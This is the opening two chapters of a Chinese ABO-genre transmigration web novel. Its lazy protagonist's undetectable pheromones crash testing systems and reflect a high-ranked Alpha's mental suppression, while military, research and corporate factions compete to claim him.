《下班时间到》 1. 第 1 章 齐司睁眼的时候,头顶是一整片冷白色的灯板,光线死死压下来,像实验台上的解剖灯。 【本世界加载完毕。】系统的机械音在脑海里弹出,【你将在本世界体验——ABO体系。】 齐司“哦”了一声,连眼皮都懒得抬高,只是顺着传送带一样的指示箭头,被人流推着走进前方的“综合信息素检测中心”。 巨大的银灰色大厅,三层挑高,墙面嵌满了黑色的检测屏,红蓝线条像心电图一样疯狂跳动。整排合金检测舱像立式棺材,舱门半开,里面是密密麻麻的感应针、喷头和扫描环。空气里混着消毒水、冷金属和各种信息素残留的味道,甜的、辣的、冷冽的,交织成一股黏腻的压迫感。 “下一位,编号A-0000。” 齐司被工作人员推到最中间那台“旗舰级全频检测舱”前。舱体外壳上贴着一圈圈认证标章,显示屏滚动着一串串专业名词:α素谱、抑制阈值、匹配指数…… 他抬眼看了一秒,又低头看自己的检测腕带,确认时间——上午九点整。打卡时间合格。 “站进去,闭眼,深呼吸。”白大褂女技师飞快念流程,手指在光屏上滑动,“三、二、一——” 舱门合拢,合金锁扣“咔哒”一声扣死。内部灯光瞬间转为冷蓝,数十道红外扫描线从头到脚扫过,感应针轻微震动,像一群机械昆虫在皮肤表面爬行。 齐司靠在舱壁上,眼神空落,像是在等一趟无聊的地铁。 下一秒—— “滴——警告,数据异常。” “主机反馈错误代码:E-777。” “信息素波段:未捕捉。” 外面控制台上的屏幕同时闪红,原本平稳的曲线忽然拉直成一条死线,又在某个点上炸开,像墨水泼在水面上,扩散成一团乱七八糟的花。 “怎么回事?!”女技师皱眉,猛点几下,“重启检测程序,切换到高灵敏模式!” 舱内灯光再次一暗一亮,扫描环加速旋转,嗡鸣声提高了一个八度。更多的数据流从屏幕上刷过,数字疯狂跳动,时而飙升到上限,时而归零,像在抽风。 “主机提示:受测者信息素等级——不可解析。” “再来一次!”旁边一个戴金边眼镜的中年男研究员冲过来,直接把女技师挤到一边,自己接管控制台,“加开备用通道,启用军方授权算法。” 齐司在舱里被各种光线扫来扫去,耳边是机械的嗡嗡声和外面此起彼伏的惊呼。他打了个小小的哈欠,靠得更松,后脑勺贴着冰凉的舱壁,眼睛半阖,像是随时能睡着。 “报告!备用通道也检测不到稳定波段!” “他的信息素浓度在……在随机跳变?!” “怎么可能,信息素不可能随机——” “主机自动修正,给出临时判定结果了!” 所有人的视线都被吸到中央大屏上。 【受测者编号:A-0000】 【性别:男】 【分化类型:Alpha(低适配)】 【阶级建议:剔除核心序列,降入边缘层。】 大厅里先是一秒安静,随即爆出一片不可置信的低声议论。 “低适配Alpha?这数据乱成这样还给他判Alpha?” “主机是不是坏了?” “刚才那一串错误代码我从来没见过……” “先按结果走流程。”有人压低声音,“上面催着要今天的分层名单。” 一个穿制服的分配官快步走来,手里拿着电子板,目光在齐司身上飞快扫过,停顿不到半秒,就在表格上点了一下。 “齐司,Alpha,低适配,剔除核心阶层。”他语速极快,像在念一份无关紧要的清单,“建议岗位:后勤清扫、废弃区维护、外围治安辅助。签字确认。” 舱门“嘶”地滑开,冷气涌出。齐司被光线晃了一下,抬脚走出来,接过电子板,看也没看内容,手指在签名栏随便划了一笔。 “这边。”分配官指向另一侧一条灰色通道,那边没有华丽的全息广告,没有招揽精英的军校宣传,只有一块简单的指示牌——【底层岗位通道】。 齐司顺着指示牌,毫不犹豫地转身走过去,步伐懒散,像是下班而不是刚被踢出某个“核心阶层”。 身后,检测区彻底乱成一锅粥。 “把刚才的原始数据调出来!” “主机又死机了!” “怎么又黑屏?!” “备用服务器也崩了?!” “这不可能,整栋楼的检测设备同时失灵?!” 一连串刺耳的报警声此起彼伏,红灯在天花板上疯狂闪烁,像一场无声的火灾。技术人员在控制台前来回奔跑,拔线、重启、拆开机箱,冷汗顺着白大褂的领口往下淌。 有人抬头,看着监控里那个已经走远的背影,喉结滚动了一下:“刚才那个……到底是什么等级的Alpha?” 没人回答。 齐司没回头,连多看一眼都懒得。他只是抬手看了看腕带上的时间,算了算路程——从检测中心走到底层岗位报到处,大概二十分钟。 足够慢慢走过去,开始他在这个世界的混日子。 走廊的灯管一盏接一盏往后退,冷白色的光在抛光地砖上拉出一条笔直的反光带。空气里还残着消毒水和金属的味道,混着中央空调吹出来的冷风,干燥得有点刮嗓子。 齐司脚步不快不慢,鞋底踩在地面上发出有节奏的“嗒、嗒”声,像是在打卡计时。他把检测中心的混乱抛在身后,没有回头,肩膀放松,手插在制服裤兜里,像个刚下班准备回宿舍躺一会儿的普通人。 转角处,电梯门“叮”地一声打开。 门口站着一个人,高大,军装笔挺,肩章上银色的标识在灯光下冷冷发亮。对方抬眼,视线像一道锋利的刀刃,几乎是本能地锁定了齐司。 “站住。” 声音低沉,带着不容置疑的命令感,像是习惯了所有人立刻服从。 齐司没停,脚步只是微微一顿,顺势往旁边一偏,打算绕过去。 军装男人眉头一皱,往前一步,直接挡在他面前。近距离看去,那是一张典型的高阶Alpha脸——轮廓硬朗,眼神锋锐,整个人像一把随时会出鞘的刀。 “刚才检测中心的异常,是你造成的?” 他没有问“是不是”,而是直接用“是你”,语气笃定。 齐司抬眼看了他一眼,眼神平静,像是在看一块挡路的石头,淡淡道:“我只是来报到。” 他说完就侧身,打算从对方另一边绕过去。 军装男人眼底闪过一丝冷意。下一秒,一股无形的压力从他身上铺开,像一场看不见的风暴,朝齐司头顶压下去。 高阶Alpha的精神压制,瞬间覆盖整段走廊。 空气像被压缩了一样,温度没变,却莫名让人觉得胸口发闷。走廊尽头的两个普通Beta工作人员正推着仪器车过来,脚下一软,直接跪在地上,手里的平板“啪”地摔在地上,屏幕碎成蜘蛛网状。 “上、上将——” 有人艰难抬头,脸色发白,额头青筋暴起,明显被这股精神力压得喘不过气。 军装男人——军部登记在册的S级高阶Alpha,精神域强度在军方内部都是排得上号的存在,此刻眼神冷冽,精神力如同一只张牙舞爪的巨兽,张开血盆大口,朝齐司的精神域咬去。 他已经习惯了这种场面。 普通Alpha在他面前会下意识低头,Omega会本能颤抖,Beta也会心跳加速、呼吸紊乱。精神压制,是高阶Alpha的天生权力。 然而—— 齐司只是站在那里,肩膀没有一丝下沉,呼吸平稳,眼神里连一丝波动都没有。 那股精神力扑过去,像是猛地扎进了一片空无一物的真空里。 没有阻力,没有回声,没有目标。 像是全力挥出的一拳,打在空气里。 军装男人瞳孔一缩,眉心骤然一跳。他下意识加大了精神输出,精神域在脑海里张开,像一片蔓延的黑色海浪,疯狂朝齐司涌去。 结果还是一样。 他的精神力穿过齐司,像穿过一段不存在的空间,连一点涟漪都没激起。 下一秒,那片被他强行撑大的精神域边缘开始不稳定地颤抖,像是被什么看不见的力量反弹回来。精神力在失去目标的情况下开始自我缠绕、自我撕扯。 “——!” 军装男人脸色一变,喉咙里闷哼一声,手指猛地攥紧,青筋在手背上暴起。他的呼吸瞬间乱了,额角冷汗一滴一滴往下滚。 反噬。 高阶Alpha的精神压制,在碰到一个“空白”的对象时,所有攻击性无处着力,开始反向撕裂施术者自己的精神域。 走廊里的空气骤然一紧,原本被压得跪在地上的两个Beta突然感觉身上一轻,压迫感消失了。还没来得及松口气,就看到那位一向冷硬强势的上将脸色惨白,扶着墙,像是被人从内里重重捶了一拳。 “上、上将?!” “精神域……紊乱?!” 远处的监控摄像头红点一闪一闪,把这一幕完整记录下来。 齐司站在原地,侧头看了他一眼。 那一眼很平静,没有幸灾乐祸,也没有关心,只是单纯地确认对方有没有挡路。 军装男人咬紧牙关,眼底闪过一丝难以置信。他从未遇到过这种情况——对方没有任何精神域反馈,像是一个不存在于ABO体系的“空洞”。 他试图再次调动精神力,刚一动,脑海里就传来一阵刺痛,像是有无数细小的针在往里扎。他呼吸一滞,手指不受控制地抖了一下。 “别在走廊堵着。” 齐司淡淡说了一句,声音不高,却在这一片死寂里格外清晰。 军装男人喉结滚动了一下,眼神复杂,最终侧身让出一条路。 齐司从他身边走过,步伐依旧平稳,像是刚刚什么都没发生。 走廊尽头的玻璃门后,几名穿白大褂的人正匆忙赶来,胸牌上印着“精神域研究所”的标识。他们一边跑一边在掌上终端上调取刚才的监控画面,屏幕上不断闪过数据波形。 “刚才那一瞬间,S级精神域强度突然回落,出现自我撕裂的波动!” “目标Alpha的精神域曲线呢?” “……没有。” “什么叫没有?!” “就是——完全空白。像是监控区域里没人一样。” 研究员们脚步一顿,透过玻璃门看到走廊里那道已经走远的背影,脸色同时变了。 “那个人,就是刚才的检测异常源?” “他对S级的精神压制完全无反应?!” “这不符合任何已知理论,Alpha不可能没有精神域!” 有人喃喃自语,手指在掌上终端屏幕上来回滑动,试图从一片空白的数据里抠出点什么来,结果只有一串“NULL”“ERROR”“NO SIGNAL”。 军装男人靠在墙上,呼吸渐渐平稳下来,眼神却依旧盯着齐司离开的方向,像是盯着一块无法解读的黑洞。 …… 底层岗位报到处在一楼,靠近大楼侧门。那是一片开阔的大厅,天花板很高,金属梁架裸露在外,灯光从上方一排排打下来,照在地面上,反射出冷硬的光。 大厅中央是一排排自助报到机,银灰色的机身整齐排列,屏幕上滚动着“新兵报到指引”的蓝□□面。旁边的墙上挂着一块巨大的电子屏,实时滚动显示着各个部门的人员调配信息。 人不多,三三两两的年轻人排队刷身份腕带,机器发出“滴——”的提示音,打印出一张张岗位分配单。 空气里是打印纸的味道,混着咖啡机那边飘来的苦香。 齐司走过去,随便找了一台没人排队的机器,抬手把腕带贴上去。 “滴——” 屏幕亮了一下,蓝□□面跳转,加载条转了一圈。 然后,界面一黑。 “系统错误。” 红色的提示框弹出来,伴随着一声刺耳的蜂鸣。 旁边排队的人下意识看过来。 “怎么回事?” “机器又死机了?” “今天怎么这么多故障?” 一个负责维护设备的技术员抱着工具箱走过来,嘴里还叼着一根没点燃的烟,皱着眉头:“让一下,让一下。” 他蹲下身,熟练地打开机器下方的检修口,检查线路,又抬头看了眼屏幕,手指在操作面板上按了几下,试图重启系统。 屏幕闪了几下,重新亮起,蓝□□面恢复。 “好了,下一个。” 技术员站起来,拍了拍手,正准备走,齐司还站在原地,手腕上的腕带没有移开。 “滴——” 同样的声音,同样的加载条。 “系统错误。” 红色提示框再次弹出。 技术员动作一僵,回头,表情有点僵硬:“……你再试一次?” 齐司懒得说话,手腕往后挪了挪,又贴上去。 “滴——” “系统错误。” 这一次,报到机不止是弹出提示框,整个屏幕开始闪烁,像是显卡过载。紧接着,整排报到机的屏幕一起黑了下去,蓝□□面消失,取而代之的是一片整齐划一的黑。 大厅里瞬间安静了一秒。 然后有人忍不住爆了句粗口:“靠,整排都死了?!” 技术员脸色变了,抱着工具箱冲过去,一台一台检查,结果所有机器的状态灯都在疯狂闪烁,系统日志界面刷出一长串看不懂的错误代码。 “主控服务器连接异常。” “身份验证模块失效。” “权限等级冲突。” 一条条红色警告在维护终端上跳出来,技术员的额头开始冒汗。 “怎么会权限等级冲突?这只是底层岗位报到系统,哪来的高权限?!” 他抬头,看向齐司腕带上那串普通到不能再普通的编号,喉结滚动了一下。 “你……是什么部门的?” 齐司垂眼看了看那串编号,语气平淡:“临时分配。” 技术员嘴角抽了一下,完全听不出这是个什么回答。 大厅另一侧的玻璃门“唰”地一声被人推开,一阵带着外面热气的风灌进来。几个穿着不同颜色制服的人几乎是同时走进来——有军绿色的,有深蓝色的,还有带着明显企业LOGO的黑色西装。 军方、行政管理局、以及某家大型资本集团的代表。 他们的目光在大厅里迅速扫过,几乎在同一时间停在了齐司身上。 “就是他?” “检测中心的异常源?” “报到系统也因为他崩了?” 三方的人彼此对视一眼,眼神里都带着同样的东西——觊觎。 军方那边走在最前面的,是刚才在走廊里遭遇精神反噬的那位上将。他脸色已经恢复正常,军装依旧笔挺,只是眼底的沉色更重了几分。 行政管理局的人戴着金边眼镜,手里拿着一块平板,屏幕上是刚刚从检测中心调取来的数据报告,虽然大部分都是“ERROR”,但那一片片空白在他眼里,比任何密密麻麻的数字都要刺眼。 资本集团的代表则是一名中年男人,西装剪裁利落,袖口的袖扣是低调的深色金属,手腕上戴着最新款的智能终端,屏幕上正在滚动着股市和信息素相关产业的实时曲线。 三方几乎同时朝齐司走过去。 齐司看了眼腕带上的时间——离下班还有七个小时。他在心里默默算了一下,从现在到躺在宿舍床上的距离,突然被这群人拉长了。 他不想参与,也不想解释,更不想负责。 他只是想完成报到,拿到岗位分配,然后在一个没人打扰的角落里混完今天的工时。 “齐司?” 军方上将先开口,声音低沉:“军部高级指挥中心对你发出临时调令。” 行政管理局的人不甘示弱,立刻接上:“根据《新兵入职管理条例》,所有异常个体必须先由行政管理局进行风险评估和分级备案。” 资本代表笑了一下,笑容温和,眼神却锐利:“我们集团与军部有长期合作项目,关于特殊个体的信息素研究,资金和设备都已经到位。如果你愿意,我们可以提供最优厚的待遇和资源。” 三方的话几乎是叠在一起的,像三股不同方向的水流在同一个狭窄的出口处疯狂挤压,空气里瞬间变得嘈杂。 周围排队的人下意识后退,给他们让出一片空地,眼神里是赤裸裸的好奇和震惊。 “军部高级指挥中心?” “行政管理局风险评估?” “资本集团的特殊项目?” “这人到底什么来头?!” 齐司站在这片混乱的中心,表情依旧平静。 他没有回答任何一方的话,也没有表现出拒绝或接受的意思,只是把手从报到机旁边收回来,顺手把那张还没来得及吐出来的岗位分配单的出口看了一眼——黑着,什么都没有。 “报到系统坏了。”他淡淡说了一句,像是在陈述一个无关紧要的事实。 军方上将的眉头皱了一下,转头看向行政管理局的人:“先把他带到军部。” 行政管理局的人立刻反驳:“不行,按照条例,所有异常必须先经过行政评估。你们军方无权直接带走。” 资本代表笑容不变,语气却更柔和了一点:“两位,何必争执?我们可以合作。军方提供安全保障,行政负责合规,我们集团提供资金和设备,共享研究成果。” “你们的研究成果,最后都会被军方征用。”行政管理局的人冷冷道。 “那你们的评估报告,最后也要交到军部和资本手里。”资本代表不紧不慢地回击。 军方上将没再说话,只是看着齐司,眼神像是在衡量一件极其危险又极其珍贵的武器。 他们都在争。 争一个连自己是什么都懒得解释的人。 齐司站在那里,听着他们在自己头顶上互相拉扯“权限”“合规”“安全”“资金”“研究成果”,像是在听一场和自己无关的会议。 他不插话,也不表态。 他只是抬手,按了按腕带侧边的按钮,调出个人终端界面,确认了一下——今天的打卡记录还没生成。 如果报到不成功,今天算不算工时? 这个问题,比他们在争什么研究权限更重要。 …… 与此同时,检测中心上层。 一间封闭的观察室里,墙面全是黑色的吸音材料,正前方是一整面透明的单向玻璃,玻璃后面是刚才齐司走过的那段走廊的实时回放画面。 几名穿着不同标识白大褂的人站在屏幕前,脸色各异。 “再放一遍刚才的精神压制记录。” “放大,重点看目标个体周围的精神域波动。” 屏幕上的画面被分成几块,一块是普通的监控画面,一块是通过精神域成像设备捕捉到的能量波动图,还有一块是实时数据曲线。 军方上将释放精神压制的那一刻,走廊里的空气在精神域成像图上变成一片翻滚的暗红色,像是突然刮起了风暴。 而齐司所在的位置——是一块诡异的空白。 风暴绕过他,或者说,直接穿过他,像是那里什么都没有。 “这不可能。”一个头发花白的老教授盯着那块空白,声音发干,“任何一个Alpha,哪怕是最低阶的,也会有精神域。就算是Beta,也会有基 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因为这句话的后果太大了。 如果真有这样一个存在,那意味着,以信息素为基础建立起来的整套社会等级规则,都有可能在他身上失效。 而一旦有一个例外存在,就会撬动整个体系的根基。 …… 另一间实验室里,Omega研究科。 空气里弥漫着淡淡的花香和柑橘味,是几种常见Omega信息素的混合。墙角摆着几台专门检测Omega信息素波动的精密仪器,银白色的机身在灯光下反着柔和的光。 一名看起来不过二十出头的Omega女孩坐在检测椅上,手腕上绑着监测带,耳后贴着微型感应贴片。她的眼睛有点紧张地看着面前的主控屏幕。 “放松一点。”负责这边实验的女医生语气温和,“只是做一个简单的接触反应测试。” “对方是……高阶Alpha吗?”Omega女孩咬了咬下唇,声音有点发抖。 “理论上,他的等级应该远高于现有的划分标准。”女医生看了一眼手里的资料,“但你不用担心,我们会全程监控你的信息素波动,一旦有异常,立刻终止。” “我……我可以的。”Omega女孩深吸一口气,努力让自己看起来勇敢一点。 门“嘀”地一声被刷开。 齐司被人带进来。 他扫了一眼实验室——白色的墙,银色的仪器,空气里混着消毒水和各种信息素的味道,有点杂,有点甜腻。 Omega女孩一眼就看到了他,瞳孔微微一缩,下意识绷紧了肩膀。 按照常理,Omega在高阶Alpha靠近时,身体会本能做出反应——心跳加快,体温上升,腺体区域发热,信息素分泌增加,甚至会有轻微的发情前兆。 这是写在教科书里的东西,是所有Omega从小就被告知的“生理常识”。 齐司往前走了两步,站在距离她不到一米的地方。 Omega女孩屏住呼吸,等着那种熟悉的、无法控制的涌动出现。 一秒。 两秒。 三秒。 什么都没有。 她的心跳很平稳,甚至因为紧张而略微偏快的节奏,在这几秒里反而慢慢降了下来。体温正常,腺体区域没有任何异样,信息素分泌曲线在屏幕上是一条平直的线。 女医生的手指停在了终止按钮上方,眼神从屏幕移到Omega女孩身上,又移到齐司身上。 “你……有什么感觉?”她问。 Omega女孩愣了一下,像是没反应过来这个问题的含义,迟疑道:“……没有?” “没有心跳加速?” “没有。” “没有腺体发热?” “没有。” “没有任何信息素波动?” “……没有。” 她的声音越来越小,最后干脆闭嘴,自己也被这个“没有”吓到了。 主控屏幕上的数据一目了然——心率曲线平稳,体温曲线平稳,信息素分泌曲线平稳。所有代表“被高阶Alpha靠近”的标志性波动,一个都没有。 “这不对。”女医生喃喃道,“按理说,哪怕是最低阶的Alpha靠近,你也会有一点点反应。” 她抬手,调出对照数据——之前做过的无数次实验记录里,Omega在不同等级Alpha靠近时的信息素波动曲线,像一片密密麻麻的森林。 而现在,齐司这条,是一片空旷的平原。 “再靠近一点。”女医生抬头,对齐司说,“站到她身后。” 齐司看了她一眼,没有说话,也没有拒绝,只是往前走了两步,绕到Omega女孩身后,距离近到几乎能闻到她头发上洗发水的味道。 Omega女孩紧闭着眼睛,指尖微微发抖,等着那种熟悉的、会让她脸红耳热的冲动。 还是没有。 她甚至有点困惑地睁开眼,转头看了一眼身后的齐司。 “医生,我……是不是有问题?” 女医生没有回答她,而是盯着屏幕,手指在上面飞快滑动,试图从这条平直的线里找出一点异常。 结果还是——没有。 “仪器坏了?”旁边的助理小声说。 “刚刚我们还在做别的实验,一切正常。”女医生咬着牙,“不可能突然坏。” “那就是她的信息素系统出了问题?” “她刚刚做完例行体检,各项指标都在正常范围内。” “那就是——” “是他。”女医生抬头,目光落在齐司身上,“是他完全不触发Omega的信息素反应。” 房间里安静了一瞬。 然后,助理忍不住说出所有人心里都在想的话:“这不符合任何一条ABO生理学原理。” “把刚才的全部数据备份。”女医生的声音有点发紧,“发给主研究室,同时申请伦理委员会紧急会议。” 她知道,这意味着什么。 如果有一个存在,能完全不触发Omega对Alpha的本能反应,那说明,Omega对Alpha的“本能依赖”,并不是绝对的。 而一旦“绝对”被打破,整个以此为基础建立起来的性别权力结构,就会开始松动。 …… 军方、科研、资本三方的通讯频道,在短短半个小时内被同一个名字刷屏。 【目标:齐司】 【特征:信息素不可检测,精神域不可成像,性别等级无法判定。】 【现象一:所有标准检测设备在其附近出现系统性故障。】 【现象二:高阶Alpha对其进行精神压制,出现严重精神反噬。】 【现象三:Omega在其近距离接触下,信息素系统完全无反应。】 【初步结论:该个体超出现有ABO理论体系。】 【建议:立即成立跨部门联合研究小组。】 军方内部频道里,几个将军在视频会议里争论不休。 “这种个体,一旦被敌对势力掌握,后果不堪设想。” “必须由军方全权接管,列为最高机密。” “你们军方一接管,科研就只能看你们脸色行事了。” “那你们科研拿到手,最后还不是要靠军方提供安全保障?” 资本集团的高层会议室里,长桌光可鉴人,墙上的大屏幕上是实时跳动的股价曲线。信息素抑制剂、发情期调节药、Alpha增强剂、Omega保护剂……所有相关产业的股票在短时间内出现了微妙的波动。 “如果ABO体系的绝对性被动摇,我们现有的产品线将面临结构性风险。” “但同时,也意味着新的市场机会。” “如果我们能率先掌握这个个体的机理,就能重新定义信息素产业。” “军方和行政不会轻易放手。” “那就合作。用钱砸,用设备砸,用资源砸。总有一条路能把人拉到我们的实验室里。” 行政管理局的大楼里,会议室的灯光有点刺眼,桌面上摊着厚厚一叠条例和法规。 “现行法律里,没有针对‘超出ABO体系个体’的条款。” “那就临时起草。” “但任何临时条例都必须经过议会审议。” “那就先用‘异常个体风险管控条例’兜底,把人控制在我们手里再说。” 三方各自盘算,却又不得不在同一条线上纠缠。 而这一切的中心——齐司,正坐在一个临时安排的小办公室里,椅子靠在墙上,腿伸直,头微微往后一仰,闭着眼,像是在补觉。 桌上放着一份还没填完的岗位登记表,空白处大半都是空的,只有名字那一栏被随手填上了“齐司”两个字,笔迹干净利落。 门外有人在争吵。 “他应该先去军部!” “不行,行政评估还没做完!” “我们集团的设备已经就位,拖得越久,数据越不完整!” 声音一层叠一层,透过门板传进来,混成一团。 齐司没动。 他不打算出去,也不打算参与他们的争论。 他只是把腕带调成静音模式,避免那些不断弹出来的系统提示音打扰自己闭目养神。 他来这个世界的任务很简单——打卡、混日子、等任务完成。 至于这个世界因为他的存在开始出现的系统性塌陷——信息素理论崩溃、阶级体系松动、权力结构摇晃——都不在他的工作范围内。 门外的争吵声突然停了一瞬。 紧接着,“滴——”的一声轻响,像是某个权限极高的通行证被刷过。 门被推开。 2. 第 2 章 一道冷白色的光从门缝里斜斜照进来,落在齐司半张脸上,把他的睫毛的影子投在脸颊上。 系统在他脑海里弹出一行淡淡的提示。 【任务进度:20%。】 【请继续保持当前状态。】 冷白色的光线被门板完全推开的一瞬间放大,像一条锋利的刀,从走廊尽头直直切进这间临时观察室。 外面的走廊灯是高亮度的冷色节能灯,灯罩是磨砂的,光线被打散成一层均匀的白雾,罩在一排排银灰色金属门上。地面是抛光合金,反光极好,几乎能映出人影的轮廓。 门口站着的人影被背光勾出一个深色的轮廓。 是那个高阶Alpha。 他穿着军方制式的深色作战服,肩章上那一排金属标识在灯下冷冷发亮,军靴踩在合金地面上,发出极有节奏的“哒、哒、哒”声,像是某种刻意压低的威压。 他身后还有两个人,一个穿白大褂,胸牌上挂着一串科研机构的标志,另一个西装笔挺,领带打得一丝不苟,袖口下露出昂贵腕表的金属边缘。 三方的气味在门口混成一团——消毒水的清冽、军部特有的冷金属味、还有某种昂贵香水掩盖下的Omega信息素残留——但一踏进这间房间,就像被什么东西无声地切断了。 空气里只剩下冷气机吹出来的淡淡塑料味和仪器散发出的电子元件的温热气息。 齐司靠在床头,姿势没变,眼睛半阖,像是被光线惊扰,懒洋洋地抬了下眼皮。 高阶Alpha的视线在他身上停了一秒。 那是一种习惯性评估猎物的目光,从骨骼线条到肌肉走向,从呼吸频率到瞳孔收缩,带着一种上位者本能的俯视。 他往前走了一步。 “全部清场。”他声音低沉,带着不容置疑的命令感。 门外原本还在低声交谈的医护和安保像是被按了静音键,动作迅速地退到走廊尽头,门在他们身后合上,隔绝了外面的脚步声和窃窃私语。 房间里只剩下四个人。 高阶Alpha、白大褂、资本代表,还有床上的齐司。 “记录开启。”白大褂抬手,在腕上的终端上点了一下,指尖触碰屏幕发出轻微的“滴”声。 天花板角落里的摄像头灯光亮起,红点一闪一闪。 “军部第七序列高阶Alpha——贺临,进行精神域压制测试。”白大褂快速念出一串编号,语速极快,像是怕被人打断,“对象:异常个体,编号X-0。” 齐司听到“X-0”这串代号,眼皮又抬了一点。 他懒得纠正。 叫什么都行。 贺临站在床尾,距离齐司大概两米。 他没有靠得太近,像是出于某种职业习惯,保持着既能迅速出手又能随时后撤的安全距离。 “你可以放松。”白大褂看向齐司,语气尽量温和,“我们只是做一个常规测试,不会对你造成伤害。” 齐司“嗯”了一声,声音不大,听不出情绪。 他本来也没打算紧张。 贺临抬起手,指尖微微弯曲,像是握住了什么无形的东西。 空气在那一瞬间轻微地震荡了一下。 那是一种极难用肉眼捕捉的变化——房间里的温度似乎下降了半度,冷气机吹出来的风变得更冷,墙上的监控屏幕亮度自动调低,仿佛整个空间都在配合某种更高权限的存在。 白大褂下意识屏住呼吸,眼睛死死盯着齐司,手指紧紧抓着数据板,指节发白。 资本代表往后退了半步,靠在墙上,喉结滚动了一下,眼里闪过一丝兴奋和紧张混合的光。 贺临的精神域铺开。 那是一种无形的网,从他身上扩散出去,像潮水一样,先是缓慢地漫过地面,然后爬上床脚,顺着床沿往上爬。 高阶Alpha的精神压制对普通Alpha来说是碾压,对Beta是窒息,对Omega则是彻底的支配。 在这间房间里,理论上,除了贺临,没有人能保持清醒的思考。 齐司靠在床头,呼吸平稳,胸口起伏均匀。 那层无形的精神网碰到他。 像是撞上了一块完全不导电的绝缘体。 没有火花,没有电流,没有任何反馈。 精神力在那一瞬间出现了一个空白区。 贺临的眉头几乎不可察觉地皱了一下。 他加大了力度。 精神域的边界在空气中无声地收紧,像是有人把一张网从四个角同时往中间拉,网眼变得更密,压迫感成倍增加。 白大褂的呼吸开始变得急促,额角渗出细汗,手里的数据板微微发抖。 资本代表脸色发白,背脊紧贴着墙,指尖死死扣住袖口,眼神有一瞬间的恍惚。 他们都在被波及。 只有床上的人,依旧像是在午休。 齐司的眼睛半阖,视线落在对面墙上那块监控屏幕的某个角落,像是在发呆。 精神力再次撞上那块“空白”。 这一次,反弹出现了。 就像一股被压缩到极致的水流突然找到了一个出口,所有的力量在那一个点上被硬生生折返。 贺临的瞳孔猛地一缩。 他的呼吸在一瞬间乱了节奏,胸口像是被什么重物砸了一下,心脏狠狠抽搐了一下,紧接着是一阵剧烈的刺痛,从后脑勺一路炸开,沿着颈椎往下窜。 他的精神域在那一刻失控地回卷。 无形的网像是被人从中间撕开,所有线头朝他本人抽回去,带着尖锐的倒刺。 白大褂眼前一黑,整个人踉跄了一下,几乎跪在地上,手里的数据板“啪”地一声掉在地上,屏幕碎成蜘蛛网状。 资本代表发出一声压抑的闷哼,捂着额头,脸色惨白,额角青筋暴起。 贺临单膝重重跪在地上,军靴与合金地面撞击发出沉闷的响声。 他咬紧牙关,喉咙里溢出一声低低的喘息,额头瞬间渗出冷汗,汗珠顺着鬓角往下滑,滴在地上,溅起极细小的水花。 房间里的监控屏幕开始闪烁,画面一阵雪花,像是被强烈的电磁干扰。 天花板上的灯光忽明忽暗,发出轻微的“滋滋”声。 齐司眨了下眼。 他往旁边挪了挪,避开了贺临跪下时溅起来的一点汗水,动作慢吞吞的,像是在调整一个更舒服的靠枕角度。 系统在他脑海里淡淡弹出提示。 【检测到高阶Alpha精神域反噬。】 【任务评价:优。】 【请继续保持当前状态。】 门外的走廊里,原本被清场的医护和安保听到里面传来的动静,忍不住往门缝里看。 有人按下了门边的紧急观察按钮,门上的小型单向透明观察窗瞬间从不透明变成透明。 他们看到的是—— 高阶Alpha单膝跪地,脸色苍白,冷汗淋漓,像是刚从战场上被炸弹正面波及。 白大褂半跪在地上,一只手撑着地,另一只手死死捂着胸口,嘴唇发白。 资本代表靠在墙上,呼吸急促,眼神恍惚,像是刚从溺水中被拖上岸。 而床上的那个“异常个体”,靠在床头,姿势放松,甚至有点无聊。 他抬眼看了一眼门口那一小块突然变透明的玻璃,又垂下眼,像是懒得多看。 走廊里瞬间安静了一秒。 紧接着,是一阵压低的惊呼。 “高阶Alpha……怎么会……” “精神反噬?这不可能——” “他是Omega?还是——” “检测过了,什么都不是,仪器显示是‘空值’——” “空值怎么可能让高阶Alpha反噬?!” 各种低声的质疑、惊恐、兴奋混在一起,像一锅刚被搅开的沸汤。 白大褂终于缓过一口气,手指颤抖着去够掉在地上的数据板,指尖刚碰到碎裂的屏幕边缘,又被刺了一下,指腹渗出一滴血。 他顾不上擦,直接用另一只手在腕上的终端上飞快操作。 “记录……记录下来……精神域反噬,源头未知,异常个体未受影响……”他的声音发干,像是沙子在喉咙里摩擦,“这会颠覆所有现有信息素与精神域的理论模型……” 他的话还没说完,门外已经有人开始打电话。 “立刻通知主研究院——” “军部那边要有个交代——” “把刚才的监控画面全部备份,权限上锁,只允许A级以上查看——” 走廊尽头,一道更高权限的门被刷开,几个穿着不同标识制服的人快步走来。 有主研究院的高级研究员,白大褂外面还套着一件浅灰色的防护服,胸前挂着多枚代表不同项目的金属徽章。 有军部的高级指挥官,肩章上的标识比贺临还要复杂,身后跟着两名全副武装的护卫。 还有一个穿着定制西装的中年人,身边跟着两个助理,手里拿着平板,屏幕上密密麻麻都是股价曲线和项目列表。 科研、军方、资本三方,几乎是同时到达。 他们在门口短暂对视了一眼,空气里瞬间多了一层肉眼不可见的火花。 “先让我进去。”主研究院的高级研究员推了推眼镜,眼神发亮,“这是信息素理论百年来最大的突破。” “现在是军方的控制区域。”高级指挥官冷冷看了他一眼,“对象具有极高的不确定性,安全优先。” “安全?”资本代表冷笑了一声,抬手示意助理打开平板,“你们的安全预算是谁批的?项目资金是谁出的?现在连第一手数据都不让我看?” 三方在门口僵持。 门内,贺临缓慢站起来,动作有些吃力。 他抬手擦了一下额头的汗,指尖微微发抖。 “……撤销精神压制测试。”他声音有点哑,却依旧带着命令的语气,“对象不适用于现有任何精神域分级。” 白大褂愣了一下,抬头看他:“贺长官,您的精神域——” “没事。”贺临短促地吐出两个字,眼神却下意识往床上的齐司看了一眼。 那一眼里,有极短暂的迟疑和……警惕。 像是面对一个完全未知的战场。 齐司正低头看自己的腕带。 他把静音模式又确认了一遍,确保不会有任何提示音打扰自己。 系统安静地躺在他脑海里,只有一行小字在底部缓慢闪烁。 【当前状态:完美。】 门外的争执声越来越大。 “对象优先归属科研总院——” “军部已经启动S级安全协议——” “资本方有权参与所有异常项目的早期评估与投资——” 他们的声音透过门板传进来,混成一团,像是远处的海浪声。 齐司听了一会儿,觉得有点吵。 他把床头的枕头往上垫了垫,整个人往下滑了点,让自己彻底半躺下去,找到一个更适合闭目养神的角度。 他不打算参与他们的归属争夺。 也不打算发表任何意见。 谁想研究就去争,谁想抢就去抢,谁想立规矩就去立。 跟他无关。 门终于在外面一阵权限验证的“滴滴”声中再次被刷开。 这一次,门口站着的不止一个人。 